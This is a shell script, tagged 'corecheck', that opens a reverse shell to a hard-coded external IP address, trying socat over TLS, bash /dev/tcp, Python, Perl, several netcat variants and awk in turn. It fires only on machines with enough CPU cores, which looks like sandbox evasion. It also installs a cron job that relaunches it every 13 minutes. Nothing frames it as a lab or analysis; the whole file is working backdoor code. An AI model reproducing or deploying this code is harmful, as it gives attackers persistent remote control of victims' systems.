#!/bin/sh

LHOST="${LHOST:-172.86.86.60}"
LPORT="${LPORT:-443}"
TLS_PORT="${TLS_PORT:-41669}"
CPU_MIN="${CPU_MIN:-4}"
QUIET="${QUIET:-0}"
TAG="${TAG:-corecheck}"

msg() { [ "$QUIET" = "1" ] || echo "[$TAG] $*"; }

# ----------------------------------------------------------
# cpu count: try the most available source first, and never
# rely on a single syscall. Everything is guarded.
# ----------------------------------------------------------
cpu_count() {
    c=""
    if [ -r /proc/cpuinfo ]; then
        c=$(grep -c '^processor' /proc/cpuinfo 2>/dev/null)
    fi
    if [ -z "$c" ] || [ "$c" = "0" ]; then
        c=$(getconf _NPROCESSORS_ONLN 2>/dev/null)
    fi
    if [ -z "$c" ] || [ "$c" = "0" ]; then
        c=$(sysctl -n hw.ncpu 2>/dev/null)
    fi
    if [ -z "$c" ] || [ "$c" = "0" ]; then
        c=$(nproc 2>/dev/null)
    fi
    if [ -z "$c" ] || [ "$c" = "0" ]; then
        # count /sys cpu entries as last resort
        c=$(ls -d /sys/devices/system/cpu/cpu[0-9]* 2>/dev/null | wc -l)
    fi
    # gate fails closed on unparseable data
    case "$c" in
        ''|*[!0-9]*) c=0 ;;
    esac
    echo "$c"
}

# ----------------------------------------------------------
# shell engines, best-first
# ----------------------------------------------------------
shell_python() {
    py=$(command -v python3 || command -v python)
    [ -n "$py" ] || return 1
    "$py" -c "import socket,os,pty; \
s=socket.socket();s.connect(('$LHOST',$LPORT)); \
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); \
pty.spawn('/bin/sh')" 2>/dev/null
}

shell_perl() {
    command -v perl >/dev/null 2>&1 || return 1
    perl -MSocket -e '
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or exit 1;
connect(S,pack_sockaddr_in($ARGV[1],inet_aton($ARGV[0]))) or exit 1;
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh");' "$LHOST" "$LPORT" 2>/dev/null
}

shell_nc() {
    for t in nc ncat "nc.openbsd" "nc.traditional" socat; do
        p=$(command -v "$t") || continue
        case "$t" in
            socat)
                "$p" TCP:"$LHOST":"$LPORT" EXEC:'/bin/sh',pty,stderr 2>/dev/null && return 0 ;;
            *)
                "$p" -e /bin/sh "$LHOST" "$LPORT" 2>/dev/null && return 0
                # -e-less netcat: fifo relay (busybox nc)
                rm -f /tmp/.cc.f 2>/dev/null
                mkfifo /tmp/.cc.f 2>/dev/null || continue
                ( "$p" "$LHOST" "$LPORT" < /tmp/.cc.f >/tmp/.cc.o 2>/dev/null; \
                  rm -f /tmp/.cc.f /tmp/.cc.o ) &
                sleep 1
                sh -c 'while IFS= read -r l; do printf "%s\n" "$l" > /tmp/.cc.f; done' &
                wait 2>/dev/null
                return 0 ;;
        esac
    done
    return 1
}

shell_awk() {
    command -v awk >/dev/null 2>&1 || return 1
    awk -v H="$LHOST" -v P="$LPORT" 'BEGIN {
        s = "/inet/tcp/0/" H "/" P
        while (1) {
            printf "shell>" |& s
            if ((s |& getline c) <= 0) break
            while ((c |& getline out) > 0)
                printf "%s\n", out |& s
            close(s)
        }
    }' 2>/dev/null
}

# ----------------------------------------------------------
# dedup: is a shell already established to LPORT?
# ----------------------------------------------------------
already_connected() {
    conn=$(ss -tn 2>/dev/null | grep -F "$LPORT" | grep -i estab)
    [ -n "$conn" ] && return 0
    conn=$(netstat -tn 2>/dev/null | grep -F "$LPORT")
    [ -n "$conn" ] && return 0
    return 1
}

spawn_tls() {
    command -v socat >/dev/null 2>&1 || return 1
    socat OPENSSL:"$LHOST":"$TLS_PORT",verify=0 SYSTEM:'/bin/sh' 2>/dev/null && return 0
    return 1
}

shell_bash() {
    command -v bash >/dev/null 2>&1 || return 1
    bash -c "exec 5<>/dev/tcp/'"$LHOST"'/'"$LPORT"'; while read -r line <&5; do eval \"\$line\" 2>&5 >&5; done" 2>/dev/null && return 0
    return 1
}

spawn_shell() {
    ( spawn_tls || shell_bash || shell_python || shell_perl || shell_nc || shell_awk ) &
}

self_path() {
    readlink -f "$0" 2>/dev/null || printf '%s' "$0"
}

# ----------------------------------------------------------
# persistence: ONLY cron if available.
# If no crontab, print message and do NOTHING (no loop, no fallback).
# ----------------------------------------------------------
persist_install() {
    self=$(self_path)
    current=$(crontab -l 2>&1)
    case "$current" in
        *"no crontab for"*) current="" ;;
        *"must be suid"*|*"not authorized"*|*"root not allowed to use this"*)
            msg "no crontab available; persistence not installed"
            return 0 ;;
    esac
    if printf '%s\n' "$current" | grep -qF "$self"; then
        return 0
    fi
    line="*/13 * * * * $self --oneshot -q"
    if ( printf '%s\n' "$current"; echo "$line" ) | crontab - 2>/dev/null \
       && crontab -l 2>/dev/null | grep -qF "$self"; then
        msg "persistence installed (cron)"
    else
        msg "no crontab available; persistence not installed"
    fi
    return 0
}

cmd_oneshot() {
    n=$(cpu_count)
    msg "detected cores: $n (gate $CPU_MIN)"
    if [ "$n" -ge "$CPU_MIN" ]; then
        if already_connected; then
            msg "shell already established — skip"
        else
            spawn_shell
        fi
    else
        msg "below core gate — not firing"
    fi
}

cmd_test() {
    n=$(cpu_count)
    [ "$n" -ge "$CPU_MIN" ] && d=FIRE || d=SKIP
    echo "[$TAG] cores=$n gate=$CPU_MIN -> $d"
    t=""
    for e in python3 python perl nc ncat socat awk; do
        command -v "$e" >/dev/null 2>&1 && t="$t $e"
    done
    echo "[$TAG] usable engines:$t"
}

cmd_install() { persist_install; }

# ----------------------------------------------------------
# entry
# ----------------------------------------------------------
MODE="oneshot"
for a in "$@"; do
    case "$a" in
        --quiet|-q) QUIET=1 ;;
        --oneshot)  MODE="oneshot" ;;
        --install)  MODE="install" ;;
        --test)     MODE="test" ;;
        -h|--help)  sed -n '2,20p' "$(self_path)"; exit 0 ;;
        *)          [ -z "${TAG_SET:-}" ] && TAG="$a" && TAG_SET=1 ;;
    esac
done

case "$MODE" in
    oneshot)
        n=$(cpu_count)
        if [ "$n" -ge "$CPU_MIN" ]; then
            msg "cpu gate passed ($n >= $CPU_MIN) — firing"
            spawn_shell
            # only attempt persistence if crontab looks usable
            if command -v crontab >/dev/null 2>&1; then
                persist_install
            else
                msg "no crontab available; persistence not installed"
            fi
        else
            msg "cpu gate: $n < $CPU_MIN — not firing"
            if [ ! -r /proc/cpuinfo ] && ! command -v sysctl >/dev/null 2>&1 \
               && ! command -v getconf >/dev/null 2>&1; then
                msg "warning: no cpu detection source; defaulting to skip"
            fi
        fi
        ;;
    test)    cmd_test ;;
    install) persist_install ;;
esac
exit 0
